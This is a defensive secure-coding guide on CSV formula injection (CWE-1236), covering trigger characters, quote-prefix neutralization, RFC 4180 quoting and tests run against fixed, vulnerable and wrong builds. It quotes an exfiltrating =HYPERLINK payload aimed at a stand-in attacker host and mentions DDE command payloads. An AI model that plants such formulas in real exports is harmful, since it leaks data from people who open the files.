Choose your stack

Stacks without a card

How it happens

  • A field a user controls (a name, a note, a comment, a log line) is written to a CSV cell unchanged, and someone opens the export in Excel, Google Sheets or LibreOffice.
  • A cell whose first non-space character is =, +, -, @, a tab or a carriage return is evaluated as a formula: =HYPERLINK("http://attacker/"&A1,"x") exfiltrates the row on click, and legacy =cmd|... DDE payloads can run commands on older, misconfigured Excel.
  • The team adds RFC 4180 quoting to fix broken columns and assumes it also stops formulas. It does not: the spreadsheet removes the CSV quotes before parsing the cell, so "=1+1" is still =1+1.
  • The less obvious triggers are missed: +, -, @ and leading tab or carriage return all start or admit a formula, and a leading space can hide a trigger from a naive check but not from the spreadsheet.
  • The export is produced by a library whose defaults quote but do not sanitize formulas, so the gap is inherited silently.

Fix principles

  • Neutralize the value before serializing: if a cell's first non-space character is =, +, -, @, tab or carriage return, prefix it with a single quote ('), which spreadsheets display as literal text.
  • Serialize for RFC 4180 as well: wrap a field containing a comma, a double quote or a newline in double quotes and double the inner quotes. This keeps the file well formed; it is a separate concern from formula execution.
  • Apply both to every user-controlled cell in every spreadsheet-bound export (CSV, TSV, and clipboard data), not just the obvious name column.
  • Decide how to treat values that are legitimately a signed number: the quote prefix turns -5 or +44 into text. If round-tripping numbers matters, prefix only values that are not valid numbers, and document the choice.
  • Set the response as text/csv with Content-Disposition: attachment so a browser downloads the file rather than rendering it, and remember the neutralization is for the spreadsheet, not the browser.

The scenario

An export returns a CSV of contacts whose name and note fields were typed by users. The fixed build neutralizes any cell that begins with a formula trigger and quotes fields per RFC 4180; the vulnerable build writes raw values; the wrong build quotes correctly for RFC 4180 but never neutralizes, so =HYPERLINK(...) in a quoted field is still a live formula. The tests parse the CSV and check each cell's logical value.

How the cards prove it

  • Run each card's tests in three modes: the fixed implementation must pass, and the vulnerable and the plausible-but-wrong implementations must fail. run-all.mjs does this for every card.
  • The exploit tests export cells beginning with =, +, -, @, tab and carriage return (including a HYPERLINK payload), parse the CSV back, and assert no cell's value begins with a trigger. The functional tests confirm commas, quotes and newlines still round-trip and ordinary values are unchanged.
  • Open the vulnerable and wrong exports in a spreadsheet: the =HYPERLINK and =1+1 cells evaluate; the fixed export shows them as text.
  • Do not count on static analysis: neither the Semgrep registry nor CodeQL has a CWE-1236 query, because the tool cannot know which strings a spreadsheet will open. The parsing tests are the control; each card's scannerRules records what was run.

Identifiers

CWE-1236 (Improper Neutralization of Formula Elements in a CSV File) is the weakness the cards show. It is ChildOf CWE-74 (Injection), the root of OWASP Top 10:2025 A05 Injection; A05's official CWE list does not name CWE-1236 itself, so it is mapped here to A05 as a specific injection whose downstream interpreter is the spreadsheet. MITRE lists no CAPEC for CWE-1236, so capec is empty. The 2025 CWE Top 25 does not rank it.

References

  1. OWASP Top 10:2025 A05 Injection
  2. CWE-1236: Improper Neutralization of Formula Elements in a CSV File
  3. OWASP CSV Injection
  4. OWASP WSTG (latest): CSV Injection (WSTG-INJT-21)
  5. RFC 4180: Common Format and MIME Type for CSV Files

Guides on this weakness